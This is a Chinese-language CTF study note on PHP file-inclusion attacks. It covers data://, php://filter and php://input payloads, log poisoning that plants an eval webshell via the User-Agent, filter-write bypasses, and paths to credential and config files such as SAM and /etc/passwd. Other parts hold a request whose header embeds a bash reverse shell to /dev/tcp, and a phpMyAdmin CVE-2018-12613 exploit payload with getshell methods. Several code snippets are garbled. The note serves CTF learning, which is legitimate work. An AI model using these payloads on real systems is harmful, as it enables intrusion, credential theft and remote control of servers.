ctf考察的文件包含漏洞
-
data伪协议
?file=data://text/plain,<?php system("ls")?> ?file=data://text/plain,<?php system("tac flag.php")?>
过滤掉PHP的话
?file=data://text/plain,<?=system("命令")?>
-
fliter伪协议
?file=php://filter/convert.base64-encode/resource=flag.php (得到的是base64编码)
?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php (直接出flag)
3.input协议
/?file=php://input HTTP/1.1 <?php system("ls");?> /?file=php://input HTTP/1.1 <?php system("cat flag.php");?>
4.日志包含
先抓包 /?file=../../../../var/log/nginx/access.log 在ua后面加上 <?php eval($_POST[a]);?> 回到浏览器的URL上命令执行 ?file=/var/log/nginx/access.log&a=system('ls /var/www/html');phpinfo(); ?file=/var/log/nginx/access.log&a=system('tac /var/www/html/flag.php');phpinfo();
如图所示,对应5
if(isset($_GET['file'])){ $file = $_GET['file']; $content = $_POST['content']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content); }else{ highlight_file(__FILE__); }
5.伪协议的过滤器
?file=php://filter/write=string.rot13/resource=a.php [使用的rot13编码(位移13)]
post请求中写入 content=<?php system('tac flag.php');?>
当然要对<?php system('tac flag.php');?>这部分进行rot13编码
因为有urldecode函数的存在 所以要对?file= 后的命令进行URL全编码
最后查看输入的a.php文件即可得到flag
如图,对应2
highlight_file(__FILE__); error_reporting(0); function filter($x){ if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){ die('too young too simple sometimes naive!'); } } $file=$_GET['file']; $contents=$_POST['contents']; ilter($file); file_put_contents($file, "<?php die();?>".$contents);
过滤了utf,base64等编码,所以要找一个这里没过滤的编码
eg: php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
POST请求content内容 contents=?<hp pvela$(P_SO[T]1;)>?
密码为1
文件包含漏洞
一.php文件包含
1.文件包含函数
include(): 可以放在PHP脚本的任意位置,一般放在流程控制的处理部分中。当PHP脚本执行到include指定引入的文件时,才将它包含并尝试执行。这种方式可以把程序执行时的流程进行简单化。当第次遇到相同文件时,PHP还是会重新解释一次,include相对于require的执行效率下降很多,同时在引入文件中包含用户自定义函数时,PHP在解释过程中会发生函数重复定义问题。
include_once() 如果导入了一次就不能再次重复进行
require(): require函数一般放在PHP脚本的最前面,PHP执行前就会先读入require指定引入的文件包含并尝试执行引入的脚本文件。require的工作方式是提高PHP的执行效率,当它在同一个网页中解释过一次后,第二次便不会解释。但同样的,正因为它不会重复解释引入文件,所以当PHP中使用循环或条件语句来引入文件时,需要用到include。
require_once() 如果导入了一次就不能再次重复进行
2.读取敏感文件
WINDOWS系统
查看系统版本
C:\boot.ini(XP版本或者更早)
现在windows版本:win+r 输入 winver回车
IIS配置文件
C:\windows\system32\inetsrv\MetaBase.xml
或者
C:\windows\system32\inetsrv\config (目录下)
windows初次密码(直接访问文件需要相关权限)
C:\windows\repair\sam
或者
C:\windows\system32\config (目录下)
Mysql配置
C:\program Files\mysql\my.ini
Mysql root
C:\program Files\mysql\data\mysql\user.MYD
php配置信息
C:\windows\php.ini
LINUX系统
/etc/passwd linux用户信息
/usr/local/app/apache2/conf/httpd.conf apache2配置文件
/usr/local/app/php5/lib/php.ini php设置
/etc/httpd/conf/httpd.conf apache配置文件
/etc/my.cnf Mysql配置文件
3.php封装伪协议
fopen() copy() file_exists() filesize() 文件系统函数
file:// 访问本地文件系统
eg: file://D:/soft/phpStudy/WWW/phpcode.txt
http:// 访问HTTP网址
ftp:// 访问FTP URLs
php:// 访问各个输入/输出流
eg: php://input (后接POST请求) <?php 指令?>
php://filter/convert.base64-encode/resource=../flag.php
zlib:// 压缩流
eg: compress.bzip2://D:/soft/phpStudy/WWW/file.bz2
compress.zlib://D:/soft/phpStudy/WWW/file.gz
zip://D:/soft/phpStudy/WWW/file.zip%23phpcode.txt
data:// 数据(RFC 2397)
一般接命令执行相关程序
eg: data://text/plain,<?php 指令?>
或者是 data://text/plain,base64,base64相关编码
glob:// 查找匹配的文件路径模式
4.包含Apache日志文件
Apache两个日志文件: access.log error.log
access.log文件如下
127.0.0.1 - - [02/Jan/2019:21:10:24 +0800] "GET / HTTP/1.1" 200 7328 127.0.0.1 - - [02/an/2019:21:10:30 +0800] "GET /include/ HTTP/1.1" 200 1581 127.0.0.1 - - [02/Jan/2019:21:10:31 +0800] "GET /include/03/ HTTP/1.1" 200 2018 127.0.0.1 - - [02/Jan/2019:21:10:41 +0800] "GET /include/03/shell.php HTTP/1.1" 200 951 127.0.0.1 - - [02/an/2019:21:10:46 +0800] "GET /include/03/shell.php?a=1 HTTP/1.1" 200 998
各字段分别为:客户端地址、访问者标识、访问者的验证名字、请求时间、请求类型、状态码、发送给客户端短的字节数
5.本地文件包含(包含服务器本身存在的恶意文件,CTF国赛爱出...)
LFI(本地文件包含),php.ini默认配置就是allow_url_fopen=off allow_url_include=off 因此CTF题目很少有远程(除非有特殊情况),主要是以本地文件包含为主
举例个指令
eg:php://filter/convet.base64-encode/resource=./flag.php
其中的php://filter/是一种访问本地文件的协议
php本地文件包含到shell
1.phar + lfi 这个是很重要的一章节,属于高级用法,我不会...以后学了再说
2.zip协议,和phar类似,上传了一个压缩后的木马,并使用zip协议进行解析,会同phar 一起讲解。
3.php://input,这个伪协议用法是要根据一种特殊的data:post方式输入数据,如果代码中出现了类似@eval(file_get_contents('php://input'))这样的语句,就会导致直接写入文件,界内有部分认同这个也属于文件包含,但是在我看来是一个比较重要的getshell方式,后续详解
4.包含/proc/self/environ文件,这个文件是php_session文件,其中储存的信息就包括用户访问时的浏览器agent信息,因此在http包的agent头部加入php代码然后包含就可以执行,类似的用法还有包含apache日志文件等,一般来说只要能够读取/etc/passwd这个文件,就能够包含上面提到的其他文件。但是现在大部分厂商的云服务器都会特别的把这些文件给设置为不可读。
POST /index.php HTTP/1.1 Host: URL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0 <?phpsystem("bash -i>& /dev/tcp/lP/port 0>&1"); ?> Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Lanquage: zh-CN,zh:g=0.8,zh-TW:g=0.7,zh-HK:g=0.5,en-US;g=0.3.en;g=0.2 Content-Type:application/x-www-form-urlencodedContent-Length:109 Connection: close Content-Disposition:form-data,name="PHP SESSION UPLOAD PROGRESS' Referer: http://URL/index.php Upgrade-nsecure-Requests:1 login=>>%20Login&passw=g00dPa%24%24w0rD&sprache=../../../../../../../../proc/self/environ%00.ipg&uer=vhosgygt
6.远程文件包含
包含其他网站上的恶意文件
远程包含的文件路径必须是绝对路径
远程文件包含利用条件:
在php.ini中allow_url_fopen=on allow_url_include=on
localhost/b.php?id=http://ip/文件路径
现在的题目中一般会禁止文件包含的题目服务器访问外网,原因是即使我们的allow url fopen=off、allow url include=off,也依然有一种方法绕过叫做smb协议共享。
当易受攻击的PHP应用程序代码尝试从受攻击者控制的SMB共享加载PHPWeb shell时,SMB共享应允许访问该文件。因此,一旦易受攻击的应用程序尝试从SMB共享访问PHPWebshell,SMB服务器将不会要求任何的凭据易受攻击的应用程序将远程包含Webshell的PHP代码。
<html> <title>asdf</title> //下面的php代码在网页上是看不到的 <?php error_reporting(0); if(!$ GET[file]){echo 'click me? no';} $file=$GET'file'; if(strstr($file,"./")|stristr($file, "tp")stristr($file,"input")stristr($file,"data")){echo "Oh no!";exit(); } include($file);//flag:nctffedulcni elif lacol si siht}?2 </html>
对data、input协议及../进行了过滤,但能通过flter协议进行读取。payload:http://url/index,php?file=php://filter/read=convert,base64-encode/resource=./index.php
二.文件包含漏洞实例
1.CVE-2018-12613
漏洞简介
phpMyAdmin是开源的MYSQL数据库管理工具 4.8.0~4.8.1
index.php界面存在文件包含功能,代码分析进行绕过可实现漏洞利用
漏洞分析
/index.php中有这一行的代码:
include $_REQUEST['target'];
要实现文件包含功能:
(1)target变量不为空
(2)target变量值为字符串
(3)target变量值不能以'index'开头
(4)target变量值不在黑名单中
(5)调用checkPageValidity函数处理target变量
在该路径下/libraries/classes/Core.php打开这个php文件,查找程序中的checkPageValidity函数
这个函数有五个条件判断
(1)引入$goto_whitelist白名单;
(2)如果$page变量没有定义或不为字符串则返回false;
(3)$page值在白名单中返回true;
(4)如果$_page存在白名单中返回true;
(5)$page经过url解码存在于白名单则返回true;
漏洞利用
payload: **/index.php?target=db_sql.php%253f/../../../file.txt
漏洞利用-getshell方法
1.利用数据库功能写入shell,查询文件位置select @@datadir包含.frm文件
2.利用数据库查询语句讲shell写入session文件,包含该session文件